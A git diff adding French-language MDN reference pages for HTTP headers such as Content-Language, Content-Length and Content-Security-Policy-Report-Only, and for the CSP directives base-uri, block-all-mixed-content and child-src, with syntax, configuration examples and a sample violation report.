+   <th scope="row"><a href="/fr/docs/Glossaire/Forbidden_header_name">Nom d'en-tête interdit</a></th>
+   <td>Non</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">Content-Encoding: gzip
+Content-Encoding: compress
+Content-Encoding: deflate
+Content-Encoding: identity
+Content-Encoding: br
+
+// Plusieurs valeurs selon l'ordre dans lequel ils ont été appliqués
+Content-Encoding: gzip, identity
+Content-Encoding: deflate, gzip
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt><code>gzip</code></dt>
+ <dd>Un format utilisant le <a href="http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77">codage Lempel-Ziv</a> (LZ77), avec un CRC de 32 bits. Il s'agit du format original pour le programme UNIX <em>gzip</em>. La norme HTTP/1.1 recommande également que les serveurs prenant en charge cet encodage reconnaissent <code>x-gzip</code> comme alias, à des fins de compatibilité.</dd>
+ <dt><code>compress</code></dt>
+ <dd>Un format utilisant l'algorithme <a class="external" href="http://en.wikipedia.org/wiki/LZW">Lempel-Ziv-Welch</a> (LZW). Le nom de la valeur a été tiré du programme de compression UNIX, qui a mis en œuvre cet algorithme. Comme le programme de compression, qui a disparu de la plupart des distributions UNIX, ce codage de contenu n'est pas utilisé par de nombreux navigateurs aujourd'hui, en partie à cause d'un problème de brevet (il a expiré en 2003).</dd>
+ <dt><code>deflate</code></dt>
+ <dd>Utilisant la structure <a href="http://en.wikipedia.org/wiki/Zlib">zlib</a> (définie dans la <a class="external" href="http://tools.ietf.org/html/rfc1950">RFC 1950</a>) avec l'algorithme de compression <em><a class="external" href="http://en.wikipedia.org/wiki/DEFLATE">deflate</a> </em>(défini dans la <a class="external" href="http://tools.ietf.org/html/rfc1951">RFC 1951</a>).</dd>
+ <dt><code>identity</code></dt>
+ <dd>Indicates the identity function (c'est-à-dire qu'il n'y a eu aucune compression ou modification). Sauf mention contraire, cette valeur est toujours considérée comme acceptable.</dd>
+ <dt><code>br</code></dt>
+ <dd>Un format utilisant l'algorithme de <a href="https://en.wikipedia.org/wiki/Brotli">Brotli</a>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Compression_avec_gzip">Compression avec gzip</h3>
+
+<p>Côté client, on peut fournir la liste des mécanismes de compression pris en charge en envoyant l'en-tête {{HTTPHeader("Accept-Encoding")}} lors de la négociation de l'encodage.</p>
+
+<pre class="notranslate">Accept-Encoding: gzip, deflate</pre>
+
+<p>Le serveur répondra avec le schéma utilisé avec l'en-tête de réponse <code>Content-Encoding</code>.</p>
+
+<pre class="notranslate">Content-Encoding: gzip</pre>
+
+<p>À noter que le serveur n'est pas obligé d'utiliser de méthode de compression. La compression dépend fortement des paramètres du serveur et des modules de serveur utilisés.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7932", "Brotli Compressed Data Format")}}</td>
+   <td>Brotli Compressed Data Format</td>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Content-Encoding", "3.1.2.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+  <tr>
+   <td>{{RFC("2616", "Content-Encoding", "14.11")}}</td>
+   <td>Content-Encoding</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("http.headers.Content-Encoding")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept-Encoding")}}</li>
+ <li>{{HTTPHeader("Transfer-Encoding")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/content-language/index.html b/files/fr/web/http/headers/content-language/index.html
new file mode 100644
index 0000000000..5332e732da
--- /dev/null
+++ b/files/fr/web/http/headers/content-language/index.html
@@ -0,0 +1,109 @@
+---
+title: Content-Language
+slug: Web/HTTP/Headers/Content-Language
+tags:
+  - En-tête HTTP
+  - En-tête de requête
+  - HTTP
+  - Négociation de contenu
+  - Reference
+translation_of: Web/HTTP/Headers/Content-Language
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>L'en-tête <strong><code>Content-Language</code></strong>  est utilisé pour décrire quels langages sont destinés au public, de sorte que cela permette à l'utilisateur de se différencier en fonction de la langue préférée des utilisateurs.</p>
+
+<p>Par exemple, si "<code>Content-Language: de-DE</code>" est mis en place, cela signifie que la page est destinée à un public parlant l'allemand (par contre, cela n'indique pas que la page est écrite en allemand. Par exemple, elle pourrait être écrite en anglais dans le cadre d'un cours de langue destiné aux allemands).</p>
+
+<p>Si l'en-tête <code>Content-Language</code> n'est pas spécifié, par défaut, cela signifie que la page est destinée à tout public de langue. Plusieurs tags de langue sont également possibles, ainsi que la mise en place de l'en-tête <code>Content-Language</code> pour dfférents types de médias, et pas seulement pour les documents texte.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type d'en-tête</th>
+   <td>{{Glossary("Entity header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Simple header", "CORS-safelisted request-header")}}</th>
+   <td>Oui, avec comme restriction supplémentaire que les valeurs ne peuvent contenir que les caractères <code>0-9</code>, <code>A-Z</code>, <code>a-z</code>, l'espace ou <code>*,-.;=</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">Content-Language: de-DE
+Content-Language: en-US
+Content-Language: de-DE, en-CA
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt><code>language-tag</code></dt>
+ <dd>Plusieurs tags de langue sont séparés par paragraphe. Chaque tag de langue est une séquence d'un ou plusieurs sous-tags insensibles à la casse, chacun séparé par un tiret ("<code>-</code>", <code>%x2D</code>). Dans la plupart des cas, un tag de langue se compose d'un sous-tag de langue principal qui identifie une large famille de langues connexes (par exemple, «en» = anglais), suivi éventuellement d'une série de sous-tags qui affinent ou réduisent la variété de langue. (par exemple, "en-CA" = la variété d'anglais telle que communiquée au Canada).</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> Les tags de langues sont formellement définis dans la RFC 5646, qui repose sur la norme ISO 639 (très souvent la liste de codes ISO 639-1) pour les codes de langue à utiliser.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Indiquer_la_langue_dans_laquelle_un_document_est_écrit">Indiquer la langue dans laquelle un document est écrit</h3>
+
+<p>L'attribut global <code><a href="/en-US/docs/Web/HTML/Global_attributes/lang">lang</a></code> est utilisé sur des éléments HTML pour indiquer la langue d'une page HTML entière ou une partie de celle-ci.</p>
+
+<pre class="brush: html notranslate">&lt;html lang="de"&gt;</pre>
+
+<p><strong>N'utilisez pas</strong> le meta tag comme ceci pour déclarer la langue d'un document:</p>
+
+<pre class="brush: html example-bad notranslate">&lt;!-- /!\ C'est une mauvaise pratique --&gt;
+&lt;meta http-equiv="content-language" content="de"&gt;</pre>
+
+<h3 id="Indiquer_un_public_cible_pour_une_ressource">Indiquer un public cible pour une ressource</h3>
+
+<p>L'en-tête <code>Content-Language</code> est utilisé pour spécifier le public destiné à la page, et peut indiquer si cela est plus qu'une seule langue.</p>
+
+<pre class="notranslate">Content-Language: de, en</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Content-Language", "3.1.3.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Sémantiques et Contenu</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Content-Language")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept-Language")}}</li>
+ <li>
+  <p><a href="https://www.w3.org/International/questions/qa-http-and-lang.en">HTTP headers, meta elements and language information</a></p>
+ </li>
+ <li>
+  <p><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/lang">HTML <code>lang</code> attribute</a></p>
+ </li>
+</ul>
diff --git a/files/fr/web/http/headers/content-length/index.html b/files/fr/web/http/headers/content-length/index.html
new file mode 100644
index 0000000000..1cf257069e
--- /dev/null
+++ b/files/fr/web/http/headers/content-length/index.html
@@ -0,0 +1,64 @@
+---
+title: Content-Length
+slug: Web/HTTP/Headers/Content-Length
+tags:
+  - HTTP
+  - en-tête
+  - header
+translation_of: Web/HTTP/Headers/Content-Length
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>L'en-tête (<em>header</em>) <strong><code>Content-Length</code></strong> indique la taille en octets (exprimée en base 10) du corps de la réponse envoyée au client.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type d'en-tête</th>
+   <td>{{Glossary("Entity header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Content-Length: &lt;longueur&gt;
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt>&lt;longueur&gt;</dt>
+ <dd>La longueur en octet (en base 10).</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7230", "Content-Length", "3.3.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">La matrice de compatibilité de cette page est générée depuis le dépôt Git https://github.com/mdn/browser-compat-data. Si vous voulez contribuer en modifiant ces données, merci de faire une <em>pull request</em> sur Github.</p>
+
+<p>{{Compat("http/headers/content-length")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Transfer-Encoding")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy-report-only/index.html b/files/fr/web/http/headers/content-security-policy-report-only/index.html
new file mode 100644
index 0000000000..5b0dcda285
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy-report-only/index.html
@@ -0,0 +1,158 @@
+---
+title: Content-Security-Policy-Report-Only
+slug: Web/HTTP/Headers/Content-Security-Policy-Report-Only
+tags:
+  - CSP
+  - Content-Security-Policy
+  - HTTP
+  - HTTPS
+  - Reference
+  - Security
+  - Sécurité
+  - header
+translation_of: Web/HTTP/Headers/Content-Security-Policy-Report-Only
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>L'en-tête de réponse HTTP <strong><code>Content-Security-Policy-Report-Only</code></strong> permet aux développeurs web d'expérimenter avec les règles CSP en contrôlant leur application sans bloquer de contenu. Ces rapports de violations sont constitués d'un document {{Glossary("JSON")}} envoyé via une requête HTTP <code>POST</code> à l'URI spécifiée.</p>
+
+<p>Pour plus d'informations, voir aussi cet article sur les <a href="/en-US/docs/Web/HTTP/CSP">Content Security Policy (CSP)</a>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type d'en-tête</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>non</td>
+  </tr>
+  <tr>
+   <th colspan="2" scope="row">Cet en-tête n'est pas supporté au sein d'un élément {{HTMLElement("meta")}}.</th>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy-Report-Only: &lt;policy-directive&gt;; &lt;policy-directive&gt;
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<p>Les directives de l'en-tête {{HTTPHeader("Content-Security-Policy")}} peuvent aussi être appliquées à l'en-tête <code>Content-Security-Policy-Report-Only</code>.</p>
+
+<p>La directive CSP {{CSP("report-uri")}} doit être utilisée avec celui-ci, ou définir cet en-tête ne servirait à rien puisqu'aucun rapport ne serait envoyé.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Cet en-tête rapporte les violations qui seront constatées. Vous pouvez l'utiliser pour améliorer vos CSP. Vous pouvez observer comment votre site fonctionne en consultant les rapports ou <a href="https://secure.wphackedhelp.com/blog/wordpress-malware-redirect-hack-cleanup/">redirections malicieuses</a>, puis choisir les règles voulues pour bloquer le contenu avec l'en-tête {{HTTPHeader("Content-Security-Policy")}}.</p>
+
+<pre class="notranslate">Content-Security-Policy-Report-Only: default-src https:; report-uri /csp-violation-report-endpoint/</pre>
+
+<p>Si vous voulez toujours recevoir des rapports, mais aussi imposer des règles, utilisez l'en-tête {{HTTPHeader("Content-Security-Policy")}} avec la directive {{CSP("report-uri")}}.</p>
+
+<pre class="notranslate">Content-Security-Policy: default-src https:; report-uri /csp-violation-report-endpoint/</pre>
+
+<h2 id="Syntaxe_dun_rapport_de_violation">Syntaxe d'un rapport de violation</h2>
+
+<p>L'objet de rapport JSON contient les informations suivantes :</p>
+
+<dl>
+ <dt><code>blocked-uri</code></dt>
+ <dd>L'URI de la ressource dont le chargement a été bloqué par les règles Content Security Policy. Si l'URI bloquée est d'une origine différente que celle du document (<code>document-uri</code>), alors l'URI bloquée est tronquée pour contenir uniquement le schéma, l'hôte et le port.</dd>
+ <dt><code>disposition</code></dt>
+ <dd>Soit <code>"enforce"</code>, soit <code>"report"</code>, selon que l'en-tête qui a déclenché l'envoi du rapport est {{HTTPHeader("Content-Security-Policy")}} ou <code>Content-Security-Policy-Report-Only</code>.</dd>
+ <dt><code>document-uri</code></dt>
+ <dd>L'URI du document dans lequel la violation a eu lieu.</dd>
+ <dt><code>effective-directive</code></dt>
+ <dd>La directive qui a causé la violation.</dd>
+ <dt><code>original-policy</code></dt>
+ <dd>La règle originale telle que spécifiée par l'en-tête <code>Content-Security-Policy-Report-Only</code>.</dd>
+ <dt><code>referrer</code></dt>
+ <dd>Le référent du document dans lequel la violation a eu lieu.</dd>
+ <dt><code>script-sample</code></dt>
+ <dd>Les 40 premiers caractères du script embarqué, du gestionnaire d'évènements par attribut ou de la feuille de style qui a causé la violation.</dd>
+ <dt><code>status-code</code></dt>
+ <dd>Le code de statut HTTP de la ressource sur laquelle l'objet global a été instancié.</dd>
+ <dt><code>violated-directive</code></dt>
+ <dd>Le nom de la directive qui a été violée.</dd>
+</dl>
+
+<h2 id="Extrait_de_rapport_de_violation">Extrait de rapport de violation</h2>
+
+<div>Considérons une page à l'adresse <code>http://example.com/signup.html</code>. Elle utilise la règle CSP suivante, interdisant tout excepté les feuilles de styles chargées depuis <code>cdn.example.com</code>.</div>
+
+<div>
+<pre class="notranslate">Content-Security-Policy-Report-Only: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports</pre>
+</div>
+
+<div>La page HTML correspondant à l'adresse <code>signup.html</code> ressemble à :</div>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Sign Up&lt;/title&gt;
+    &lt;link rel="stylesheet" href="css/style.css"&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    ... Content ...
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<div>Avez-vous identifié une violation ?</div>
+
+<div>Les feuilles de styles ne sont acceptées que si elles sont chargées depuis <code>cdn.example.com</code>, et pourtant le site tente d'en charger une depuis sa propre origine (<code>http://example.com</code>). Un navigateur capable d'imposer des règles CSP enverra le rapport de violation suivant sous la forme d'une requête POST à l'adresse <code>http://example.com/_/csp-reports</code> quand la page sera visitée :</div>
+
+<pre class="brush: js notranslate">{
+  "csp-report": {
+    "document-uri": "http://example.com/signup.html",
+    "referrer": "",
+    "blocked-uri": "http://example.com/css/style.css",
+    "violated-directive": "style-src cdn.example.com",
+    "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports",
+    "disposition": "report"
+  }
+}</pre>
+
+<p>Comme vous le voyez, la rapport inclut le chemin complet de la ressource à l'origine de la violaton dans la propriété <code>blocked-uri</code>. Ce n'est pas toujours le cas. Par exemple, quand la page <code>signup.html</code> essaiera de charger un CSS depuis <code>http://anothercdn.example.com/stylesheet.css</code>, le navigateur n'inclura pas le chemin complet mais seulement son origine (<code>http://anothercdn.example.com</code>). Cela est fait pour empêcher les fuites d'informations sensibles à propos de ressources externes.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{specName("CSP 3.0")}}</td>
+   <td>{{Spec2('CSP 3.0')}}</td>
+   <td>Inchangé.</td>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 1.1")}}</td>
+   <td>{{Spec2('CSP 1.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Content-Security-Policy-Report-Only")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>CSP {{CSP("report-uri")}} directive</li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">Content Security in WebExtensions</a></li>
+ <li><a href="/en-US/docs/Tools/GCLI/Display_security_and_privacy_policies">Display security and privacy policies In Firefox Developer Tools</a></li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/base-uri/index.html b/files/fr/web/http/headers/content-security-policy/base-uri/index.html
new file mode 100644
index 0000000000..61f13ebb65
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/base-uri/index.html
@@ -0,0 +1,111 @@
+---
+title: 'CSP: base-uri'
+slug: Web/HTTP/Headers/Content-Security-Policy/base-uri
+tags:
+  - CSP
+  - Content-Security-Policy
+  - Directive
+  - HTTP
+  - Reference
+  - Security
+  - Sécurité
+  - source
+translation_of: Web/HTTP/Headers/Content-Security-Policy/base-uri
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <strong><code>base-uri</code></strong> restreint les URL qui peuvent être utilisées comme valeur d'un élément {{HTMLElement("base")}}. Si cette valeur est absente, alors toutes les adresses sont autorisées. Si cette directive est absente, l'agent utilisateur va utiliser la valeur dans l'élément {{HTMLElement("base")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Version de CSP</th>
+   <td>2</td>
+  </tr>
+  <tr>
+   <th scope="row">Type de directive</th>
+   <td>{{Glossary("Document directive")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{CSP("default-src")}} par défaut</th>
+   <td>Non, ne pas la définir autorise toutes les URL</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une ou plusieurs <em>sources</em> peuvent être autorisées pour cette directive :</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: base-uri &lt;source&gt;;
+Content-Security-Policy: base-uri &lt;source&gt; &lt;source&gt;;
+</pre>
+
+<h3 id="Sources">Sources</h3>
+
+<p>Bien que cette directive utilise les mêmes arguments que d'autres directives CSP, certains d'entre eux n'ont pas de sens concernant l'élément {{HTMLElement("base")}}, comme les valeurs <code>'unsafe-inline'</code> et <code>'strict-dynamic'</code></p>
+
+<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Configuration_par_balise_&lt;meta>">Configuration par balise &lt;meta&gt;</h3>
+
+<pre class="brush: html notranslate">&lt;meta http-equiv="Content-Security-Policy" content="base-uri 'self'"&gt;</pre>
+
+<h3 id="Configuration_par_Apache">Configuration par Apache</h3>
+
+<pre class="brush: bash notranslate">&lt;IfModule mod_headers.c&gt;
+Header set Content-Security-Policy "base-uri 'self'";
+&lt;/IfModule&gt;</pre>
+
+<h3 id="Configuration_par_Nginx">Configuration par Nginx</h3>
+
+<pre class="brush: bash notranslate">add_header Content-Security-Policy "base-uri 'self';"</pre>
+
+<h3 id="Cas_de_violation">Cas de violation</h3>
+
+<p>À partir du moment où votre domaine n'est pas <code>example.com</code>, un élément {{HTMLElement("base")}} avec son attribut <code>href</code> défini à <code>https://example.com</code> résultera en une violation de CSP.</p>
+
+<pre class="brush: html; example-bad notranslate">&lt;meta http-equiv="Content-Security-Policy" content="base-uri 'self'"&gt;
+&lt;base href="https://example.com/"&gt;
+
+// Error: Refused to set the document's base URI to 'https://example.com/'
+// because it violates the following Content Security Policy
+// directive: "base-uri 'self'"</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 3.0", "#directive-base-uri", "base-uri")}}</td>
+   <td>{{Spec2('CSP 3.0')}}</td>
+   <td>Inchangé.</td>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 1.1", "#directive-base-uri", "base-uri")}}</td>
+   <td>{{Spec2('CSP 1.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp.base-uri")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPheader("Content-Security-Policy")}}</li>
+ <li>{{HTMLElement("base")}}</li>
+ <li>{{domxref("Node.baseURI")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/block-all-mixed-content/index.html b/files/fr/web/http/headers/content-security-policy/block-all-mixed-content/index.html
new file mode 100644
index 0000000000..c0cdeea4a4
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/block-all-mixed-content/index.html
@@ -0,0 +1,70 @@
+---
+title: 'CSP: block-all-mixed-content'
+slug: Web/HTTP/Headers/Content-Security-Policy/block-all-mixed-content
+tags:
+  - CSP
+  - Content-Security-Policy
+  - Directive
+  - HTTP
+  - Mixed Content
+  - Reference
+  - Security
+  - Sécurité
+  - block-all-mixed-content
+translation_of: Web/HTTP/Headers/Content-Security-Policy/block-all-mixed-content
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary">La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>block-all-mixed-content</strong></code> bloque le chargement de ressources via HTTP lorsque la page utilise HTTPS.</span></p>
+
+<p>Toutes les requêtes vers des <a href="/fr/docs/Sécurité/MixedContent">contenus mixtes</a> sont alors bloquées, y compris les ressources actives et passives. Cela s'applique aussi aux documents {{HTMLElement("iframe")}}, assurant que la page est complètement protégée contre les contenus mixtes.</p>
+
+<div class="blockIndicator note">
+<p>Note : La directive {{CSP("upgrade-insecure-requests")}} est évaluée avant <code>block-all-mixed-content</code>. Si elle est définie, alors <code>block-all-mixed-content</code> n'est pas nécessaire, à moins que vous souhaitiez forcer HTTPS sur les anciens navigateurs qui ne le font pas après une redirection vers HTTP.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: block-all-mixed-content;</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="notranslate">Content-Security-Policy: block-all-mixed-content;
+
+&lt;meta http-equiv="Content-Security-Policy" content="block-all-mixed-content"&gt;
+</pre>
+
+<p>Pour interdire l'usage de HTTP de manière plus fine, vous pouvez aussi configurer individuellement chaque directive sur <code>https:</code>. Par exemple, pour interdire les images HTTP non sécurisées :</p>
+
+<pre class="notranslate">Content-Security-Policy: img-src https:</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{specName("Mixed Content", "#block-all-mixed-content", "block-all-mixed-content")}}</td>
+   <td>{{Spec2('Mixed Content')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_navigateurs">Compatibilités navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp.block-all-mixed-content")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{CSP("upgrade-insecure-requests")}}</li>
+ <li><a href="/en-US/docs/Web/Security/Mixed_content">Mixed content</a></li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/child-src/index.html b/files/fr/web/http/headers/content-security-policy/child-src/index.html
new file mode 100644
index 0000000000..cb7a175ff8
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/child-src/index.html
@@ -0,0 +1,100 @@
+---
+title: 'CSP: child-src'
+slug: Web/HTTP/Headers/Content-Security-Policy/child-src
+tags:
+  - CSP
+  - Child
+  - Content-Security-Policy
+  - Directive
+  - HTTP
+  - Reference
+  - Security
+  - Sécurité
+  - child-src
+  - source
+translation_of: Web/HTTP/Headers/Content-Security-Policy/child-src
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <strong><code>child-src</code></strong> définit les sources valides de <a href="/en-US/docs/Web/API/Web_Workers_API">web workers</a> et de contextes de navigations imbriqués chargés au moyen d'éléments tels que {{HTMLElement("frame")}} et {{HTMLElement("iframe")}}. Pour les workers, les requêtes conformes sont traitées comme des erreurs de réseau fatales par l'agent utilisateur.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Version de CSP</th>
+   <td>2</td>
+  </tr>
+  <tr>
+   <th scope="row">Type de directive</th>
+   <td>{{Glossary("Fetch directive")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{CSP("default-src")}} par défaut</th>
+   <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive <code>default-src</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: child-src &lt;source&gt;;
+Content-Security-Policy: child-src &lt;source&gt; &lt;source&gt;;
+</pre>
+
+<h3 id="Sources">Sources</h3>
+
+<p>{{page("Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Cas_de_violation">Cas de violation</h3>
+
+<p>Soit cet en-tête CSP :</p>
+
+<pre class="brush: bash notranslate">Content-Security-Policy: child-src https://example.com/</pre>
+
+<p>Cet {{HTMLElement("iframe")}} et ce worker seront bloqués et ne se chargeront pas :</p>
+
+<pre class="brush: html notranslate">&lt;iframe src="https://not-example.com"&gt;&lt;/iframe&gt;
+
+&lt;script&gt;
+  var blockedWorker = new Worker("data:application/javascript,...");
+&lt;/script&gt;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 3.0", "#directive-child-src", "child-src")}}</td>
+   <td>{{Spec2('CSP 3.0')}}</td>
+   <td>Inchangé.</td>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 1.1", "#directive-child-src", "child-src")}}</td>
+   <td>{{Spec2('CSP 1.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
